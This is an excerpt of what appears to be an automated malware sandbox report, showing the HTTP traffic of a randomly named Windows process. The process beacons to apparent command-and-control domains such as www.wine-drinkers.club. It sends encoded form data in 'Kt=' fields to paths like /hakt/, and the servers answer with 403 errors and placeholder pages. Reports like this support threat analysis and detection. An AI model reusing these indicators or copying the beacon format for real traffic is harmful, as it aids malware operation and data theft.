                                                            Nov 29, 2024 10:20:19.498333931 CET456OUTGET /rk61/?Kt=4Jev6jkxg6xEO7DVmJ20iETfs2t7f6dacNocs9uTAtM/sd7AmwK5VubVBVupph+Y/y0F/E1wxEQcV5PZ7sI9PGgWsDb93CpdCwaL2XhBfxkUCZ4eWO5amsP6muPfZHOLUA==&ej=DjJHGh2p HTTP/1.1
                                                            Host: www.supernutra01.online
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Connection: close
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Nov 29, 2024 10:20:20.804698944 CET1236INHTTP/1.1 200 OK
                                                            Date: Fri, 29 Nov 2024 09:20:20 GMT
                                                            Content-Type: text/html
                                                            Transfer-Encoding: chunked
                                                            Connection: close
                                                            Last-Modified: Tue, 24 Sep 2024 07:18:31 GMT
                                                            Accept-Ranges: bytes
                                                            CF-Cache-Status: DYNAMIC
                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XEHPBK4XE4VUIvymyX6SpViY8k3c2%2BqPVUY4ztKCjuVmdPdZnmEHczhvAEeLvqAXuhGIOQ%2B6KybiMdrjFYDlVknlFBer8NHlbscydBp6t5p3lmQyeMc46M%2FXlutUW8ugteP30Y1izgbQ9w%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                            Server: cloudflare
                                                            CF-RAY: 8ea1856f9d7143e7-EWR
                                                            alt-svc: h3=":443"; ma=86400
                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1590&min_rtt=1590&rtt_var=795&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=456&delivery_rate=0&cwnd=224&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                            Data Raw: 32 64 61 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 46 41 53 54 50 41 4e 45 4c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 09 3c 73 74 79 6c 65 3e 0a 09 09 40 69 6d 70 6f 72 74 20 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 [TRUNCATED]
                                                            Data Ascii: 2dae<!DOCTYPE html><html lang="en"><head><title>FASTPANEL</title><meta charset="UTF-8"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noindex,nofollow"><style>@import url('https://fonts.googleapis.com/css?family=Roboto:regular,500&display=swap');::after,::before,a,l
                                                            Nov 29, 2024 10:20:20.804749966 CET1236INData Raw: 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 6d 61 69 6e 2c 2e 77 72 61 70 70 65 72 7b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 2c 2e 77 69 6e 64 6f
                                                            Data Ascii: abel{display:inline-block}.main,.wrapper{flex-direction:column}.window-main,.window-main__item{position:relative}*{padding:0;margin:0;border:0}*,::after,::before{box-sizing:border-box}body,html{height:100%;min-width:320px}body{color:#fff;line-
                                                            Nov 29, 2024 10:20:20.804768085 CET448INData Raw: 2e 73 76 67 2d 6f 6e 65 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 2d 32 34 30 70 78 3b 72 69 67 68 74 3a 2d 33 36 30 70 78 3b 7a 2d 69 6e 64 65 78 3a 2d 31 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 20 2e 73 76 67 2d 74 77
                                                            Data Ascii: .svg-one{position:absolute;top:-240px;right:-360px;z-index:-1}.window-main .svg-two{position:absolute;bottom:-258px;left:-223px;z-index:-1}.window-main__title{text-align:center;padding-bottom:1.875rem;position:relative;font-weight:500;line-hei
                                                            Nov 29, 2024 10:20:20.804857016 CET1236INData Raw: 64 6f 77 2d 6d 61 69 6e 5f 5f 62 6f 64 79 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 32 39 34 31 31 37 36 34 37 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 6c 69 73 74 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63
                                                            Data Ascii: dow-main__body{line-height:1.5294117647}.window-main__list{display:flex;flex-direction:column;gap:1.5rem}.window-main__item::before{content:"";position:absolute;left:0;top:10px;width:4px;height:4px;border-radius:50%;background-color:#fff}.wind
                                                            Nov 29, 2024 10:20:20.804868937 CET1236INData Raw: 74 77 6f 7b 62 6f 74 74 6f 6d 3a 2d 34 32 33 70 78 3b 6c 65 66 74 3a 2d 33 34 33 70 78 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 32 30 65 6d 29 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 34 35 2e 36 32 35 65 6d 29 7b 40 73 75
                                                            Data Ascii: two{bottom:-423px;left:-343px}}@media (min-width:20em)and (max-width:45.625em){@supports (padding-left:clamp(1.5rem ,-4.3048780488rem + 29.0243902439vw ,8.9375rem)){.window-main{padding-left:clamp(1.5rem ,-4.3048780488rem + 29.0243902439vw ,8.
                                                            Nov 29, 2024 10:20:20.804881096 CET1236INData Raw: 37 35 72 65 6d 29 7d 7d 40 73 75 70 70 6f 72 74 73 20 6e 6f 74 20 28 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 2d 30 2e 32 35 36 30 39 37 35 36 31 72 65 6d 20 2b 20 38 2e 37 38 30 34 38 37 38 30 34 39
                                                            Data Ascii: 75rem)}}@supports not (padding-bottom:clamp(1.5rem ,-0.256097561rem + 8.7804878049vw ,3.75rem)){.window-main{padding-bottom:calc(1.5rem + 2.25*(100vw - 20rem)/ 25.625)}}@supports (font-size:clamp(1.5rem ,0.9146341463rem + 2.9268292683vw ,2.25r
                                                            Nov 29, 2024 10:20:20.804893017 CET1236INData Raw: 37 38 76 77 20 2c 30 2e 36 38 37 35 72 65 6d 29 29 7b 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 6c 69 73 74 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 63 6c 61 6d 70 28 2e 35 36 32 35 72 65 6d 20 2c 2e 34 36 34 39 33 39 30 32 34 34 72 65 6d 20 2b
                                                            Data Ascii: 78vw ,0.6875rem)){.window-main__list{padding-left:clamp(.5625rem ,.4649390244rem + .487804878vw ,.6875rem)}}@supports not (padding-left:clamp(0.5625rem ,0.4649390244rem + 0.487804878vw ,0.6875rem)){.window-main__list{padding-left:calc(.5625rem
                                                            Nov 29, 2024 10:20:20.804969072 CET1236INData Raw: 65 22 20 77 69 64 74 68 3d 22 36 33 30 22 20 68 65 69 67 68 74 3d 22 38 31 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 36 33 30 20 38 31 32 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33
                                                            Data Ascii: e" width="630" height="812" viewBox="0 0 630 812" fill="none" xmlns="http://www.w3.org/2000/svg"><g opacity="0.7" filter="url(#filter0_f_2001_5)"><path d="M360.522 563.421C360.522 563.421 276.147 497.448 257.174 430.814C238.2 36
                                                            Nov 29, 2024 10:20:20.804980993 CET1236INData Raw: 42 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 46 69 78 22 20 72 65 73 75 6c 74 3d 22 73 68 61 70 65 22 20 2f 3e 0a 09 09 09 09 09 09 09 09 3c 66 65 47 61 75 73 73 69 61 6e 42 6c 75 72 20 73 74 64 44 65 76 69 61 74 69 6f 6e 3d 22 31 32 34 22 20 72
                                                            Data Ascii: BackgroundImageFix" result="shape" /><feGaussianBlur stdDeviation="124" result="effect1_foregroundBlur_2001_5" /></filter><filter id="filter1_f_2001_5" x="63.8591" y="146.319" width="394.544" height="426.142" filterUni
                                                            Nov 29, 2024 10:20:20.804991961 CET1236INData Raw: 69 6e 5f 5f 6c 69 73 74 22 3e 0a 09 09 09 09 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 69 74 65 6d 22 3e 59 6f 75 72 20 64 6f 6d 61 69 6e 20 69 73 20 70 6f 69 6e 74 65 64 20 74 6f 20 74 68 65 20 73 65 72 76
                                                            Data Ascii: in__list"><li class="window-main__item">Your domain is pointed to the server, but there is no site with that domain name on the server.</li><li class="window-main__item">You are accessing the site via HTTPS, but the site does n
                                                            Nov 29, 2024 10:20:20.809084892 CET978INData Raw: 22 20 66 69 6c 6c 3d 22 23 30 31 33 46 39 33 22 20 2f 3e 0a 09 09 09 09 09 09 3c 2f 67 3e 0a 09 09 09 09 09 09 3c 64 65 66 73 3e 0a 09 09 09 09 09 09 09 3c 66 69 6c 74 65 72 20 69 64 3d 22 66 69 6c 74 65 72 30 5f 66 5f 32 30 30 31 5f 31 30 22 20
                                                            Data Ascii: " fill="#013F93" /></g><defs><filter id="filter0_f_2001_10" x="0.709961" y="208.626" width="510.22" height="580.477" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB"><feFlood flood-opacity="0" resu


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            9192.168.2.549930194.245.148.189802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:20:26.454070091 CET728OUTPOST /hakt/ HTTP/1.1
                                                            Host: www.wine-drinkers.club
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 203
                                                            Cache-Control: max-age=0
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Origin: http://www.wine-drinkers.club
                                                            Referer: http://www.wine-drinkers.club/hakt/
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Data Raw: 4b 74 3d 55 31 38 35 2b 65 78 39 49 6a 39 41 58 51 65 43 6a 4c 75 6c 52 78 51 54 4c 74 67 6d 35 64 52 52 46 6c 5a 2b 33 47 4e 68 69 2b 44 57 67 61 47 55 45 38 6f 66 42 6c 45 79 78 33 75 37 77 4e 67 32 6d 62 6e 38 6e 37 5a 34 78 4c 4c 36 50 49 6e 30 51 6a 48 65 44 2f 70 66 4c 34 79 30 54 2f 67 77 74 79 4c 69 36 7a 5a 69 63 43 6f 4b 45 7a 67 46 57 6c 4e 6f 75 68 36 4d 6b 69 66 79 66 74 57 75 34 32 47 57 6d 61 41 68 52 6a 7a 37 55 6a 38 66 2f 68 62 38 58 51 54 57 46 79 52 48 31 4a 58 58 43 4f 71 53 62 5a 5a 77 53 37 66 30 62 44 54 71 6a 39 7a 52 48 32 6d 39 69 71 44 32 52 65 78 55 48 2f 43 66 6d 37 4d 3d
                                                            Data Ascii: Kt=U185+ex9Ij9AXQeCjLulRxQTLtgm5dRRFlZ+3GNhi+DWgaGUE8ofBlEyx3u7wNg2mbn8n7Z4xLL6PIn0QjHeD/pfL4y0T/gwtyLi6zZicCoKEzgFWlNouh6MkifyftWu42GWmaAhRjz7Uj8f/hb8XQTWFyRH1JXXCOqSbZZwS7f0bDTqj9zRH2m9iqD2RexUH/Cfm7M=
                                                            Nov 29, 2024 10:20:27.820631981 CET725INHTTP/1.1 403 Forbidden
                                                            Server: nginx
                                                            Date: Fri, 29 Nov 2024 09:20:27 GMT
                                                            Content-Type: text/html; charset=utf-8
                                                            Transfer-Encoding: chunked
                                                            Connection: close
                                                            Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 [TRUNCATED]
                                                            Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            10192.168.2.549938194.245.148.189802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:20:29.112339020 CET748OUTPOST /hakt/ HTTP/1.1
                                                            Host: www.wine-drinkers.club
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 223
                                                            Cache-Control: max-age=0
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Origin: http://www.wine-drinkers.club
                                                            Referer: http://www.wine-drinkers.club/hakt/
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Data Raw: 4b 74 3d 55 31 38 35 2b 65 78 39 49 6a 39 41 57 77 75 43 76 4d 43 6c 58 52 51 51 46 4e 67 6d 69 4e 52 4e 46 6c 46 2b 33 48 5a 50 6a 4d 58 57 68 2f 36 55 46 39 6f 66 45 6c 45 79 37 58 75 36 36 74 67 35 6d 61 62 65 6e 36 6c 34 78 4c 50 36 50 4d 6a 30 51 51 2b 73 43 76 70 5a 44 59 79 32 51 50 67 77 74 79 4c 69 36 31 31 62 63 43 67 4b 46 44 77 46 55 41 68 72 74 68 36 4c 6a 69 66 79 56 39 57 71 34 32 48 37 6d 65 59 4c 52 67 4c 37 55 68 30 66 78 55 6e 7a 65 51 54 51 4c 53 51 34 39 5a 4f 53 61 64 65 75 64 62 73 73 4c 64 4c 37 65 31 69 41 35 66 37 35 55 57 4b 46 79 35 4c 42 41 75 51 39 64 63 53 76 34 73 59 74 30 7a 37 61 6d 34 35 46 54 62 6e 59 53 78 75 71 6e 72 37 79
                                                            Data Ascii: Kt=U185+ex9Ij9AWwuCvMClXRQQFNgmiNRNFlF+3HZPjMXWh/6UF9ofElEy7Xu66tg5maben6l4xLP6PMj0QQ+sCvpZDYy2QPgwtyLi611bcCgKFDwFUAhrth6LjifyV9Wq42H7meYLRgL7Uh0fxUnzeQTQLSQ49ZOSadeudbssLdL7e1iA5f75UWKFy5LBAuQ9dcSv4sYt0z7am45FTbnYSxuqnr7y
                                                            Nov 29, 2024 10:20:30.464202881 CET725INHTTP/1.1 403 Forbidden
                                                            Server: nginx
                                                            Date: Fri, 29 Nov 2024 09:20:30 GMT
                                                            Content-Type: text/html; charset=utf-8
                                                            Transfer-Encoding: chunked
                                                            Connection: close
                                                            Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 [TRUNCATED]
                                                            Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            11192.168.2.549945194.245.148.189802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:20:31.769174099 CET1765OUTPOST /hakt/ HTTP/1.1
                                                            Host: www.wine-drinkers.club
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 1239
                                                            Cache-Control: max-age=0
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Origin: http://www.wine-drinkers.club
                                                            Referer: http://www.wine-drinkers.club/hakt/
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Data Raw: 4b 74 3d 55 31 38 35 2b 65 78 39 49 6a 39 41 57 77 75 43 76 4d 43 6c 58 52 51 51 46 4e 67 6d 69 4e 52 4e 46 6c 46 2b 33 48 5a 50 6a 4e 76 57 67 4e 43 55 44 65 41 66 48 6c 45 79 33 33 75 33 36 74 67 6b 6d 62 7a 61 6e 36 6f 44 78 4a 6e 36 4e 76 72 30 48 52 2b 73 4d 66 70 5a 50 34 79 37 54 2f 68 30 74 79 62 6d 36 7a 56 62 63 43 67 4b 46 46 30 46 51 56 4e 72 68 42 36 4d 6b 69 66 2b 66 74 57 53 34 77 75 4f 6d 65 55 78 51 52 72 37 55 43 63 66 7a 6d 50 7a 52 51 54 53 62 43 51 67 39 5a 79 5a 61 64 53 31 64 66 73 47 4c 61 2f 37 64 6a 37 33 72 66 47 67 57 67 4f 31 39 62 76 46 58 4c 64 64 59 4d 65 65 79 2f 73 44 78 6a 54 45 6d 74 4a 6f 64 2f 2b 72 4c 6c 4b 72 68 76 4b 65 38 35 63 50 49 76 47 47 4f 4b 62 73 2f 35 61 39 6d 6b 48 4a 42 50 41 78 46 48 6b 66 4d 33 50 7a 77 44 2b 77 7a 45 58 44 55 34 32 67 35 51 36 69 6d 6e 38 6f 62 37 56 47 6b 78 59 72 59 57 51 45 61 32 52 76 4c 63 78 59 64 48 79 38 4e 6b 4d 6d 4f 4a 70 2b 77 59 5a 53 7a 59 6e 7a 35 4d 35 43 52 39 4b 65 45 57 34 4a 6d 76 70 54 46 53 4d 4c 5a 30 4f [TRUNCATED]
                                                            Data Ascii: Kt=U185+ex9Ij9AWwuCvMClXRQQFNgmiNRNFlF+3HZPjNvWgNCUDeAfHlEy33u36tgkmbzan6oDxJn6Nvr0HR+sMfpZP4y7T/h0tybm6zVbcCgKFF0FQVNrhB6Mkif+ftWS4wuOmeUxQRr7UCcfzmPzRQTSbCQg9ZyZadS1dfsGLa/7dj73rfGgWgO19bvFXLddYMeey/sDxjTEmtJod/+rLlKrhvKe85cPIvGGOKbs/5a9mkHJBPAxFHkfM3PzwD+wzEXDU42g5Q6imn8ob7VGkxYrYWQEa2RvLcxYdHy8NkMmOJp+wYZSzYnz5M5CR9KeEW4JmvpTFSMLZ0OSDY6eVMnB835F54gD6GQ1VN2NaQhp+shwIdRy27lagop/qQfeTf1jV3SBOP2lfzEgqS02W7e7I1pe7QCo+JsQH0TyDmwChyyr06bB0+Os8GVhBHIc8HHdpwVknmPXD6wOVMEhAzYE+xRDqhXhjeo/5ghy7/FydfWxsGi4/McAgNsCKttTq5KYf0wBvJybkuJy3URl9MvJ9NQEky4dGWVlQx82CdNQCPr0/NIX+52rYuVqQc93kBtr4VeIkqFgfAJhks06w3UI3sMfKKfQKN9ylKMjFt54qvjftW0hAg8FqvDq5uFqMbN6imUwYVAWxbWzFMiWBUK7mKtG35EXlCBQnHSB6Rizkpt8klzX04X+Kwlqh9HSoFnWhTV1xdAnv+t5Ctro7nJ7eHq+7i0NZB7o4knNqhVhj4r3556/anpOHdLNHWIvQGC0kAv4mzTvDeZXzNt6n+wmIp+qtKFeoQBIccJWeQSWapbLU5tKKe2XIu8p4WwiRe/DJ9/aEJjIF1sxnRXM33GLBYVJLPovm0ae0NLbzeXpp2QByouo/Yta8XYa+eyw7LQfqH+HQ5GHaKIRote+m0N8lgWg0QDPDoTBRCzRPnXt2WOMg5wxpsxBFcgnuYWY18RyQWq/wgMabny7rKFWcRTU6EXcMRe7uQ+CVlqKaSiNEXCSq [TRUNCATED]
                                                            Nov 29, 2024 10:20:33.060925961 CET725INHTTP/1.1 403 Forbidden
                                                            Server: nginx
                                                            Date: Fri, 29 Nov 2024 09:20:32 GMT
                                                            Content-Type: text/html; charset=utf-8
                                                            Transfer-Encoding: chunked
                                                            Connection: close
                                                            Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 [TRUNCATED]
                                                            Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            12192.168.2.549952194.245.148.189802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:20:34.419878006 CET455OUTGET /hakt/?Kt=Z3UZ9pkvUTN8eySircCOaDAcK9AA6JZfB0YdpGFssPaitvOOGMcOB1EIrUeEo9sxw4W4nK9e2r79OuzvY2TkI/Ucb7mce9xulhvrmXd0czYvKT0YPlVSgAWpsmP7UtPllg==&ej=DjJHGh2p HTTP/1.1
                                                            Host: www.wine-drinkers.club
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Connection: close
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Nov 29, 2024 10:20:35.716198921 CET1236INHTTP/1.1 200 OK
                                                            Server: nginx
                                                            Date: Fri, 29 Nov 2024 09:20:35 GMT
                                                            Content-Type: text/html; charset=utf-8
                                                            Content-Length: 1840
                                                            Last-Modified: Tue, 04 Apr 2017 13:56:46 GMT
                                                            Connection: close
                                                            ETag: "58e3a61e-730"
                                                            Accept-Ranges: bytes
                                                            Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 54 68 65 20 61 62 6f 76 65 20 33 20 6d 65 74 61 20 74 61 67 73 20 2a 6d 75 73 74 2a 20 63 6f 6d 65 20 66 69 72 73 74 20 69 6e 20 74 68 65 20 68 65 61 64 3b 20 61 6e 79 20 6f 74 68 65 72 20 68 65 61 64 20 63 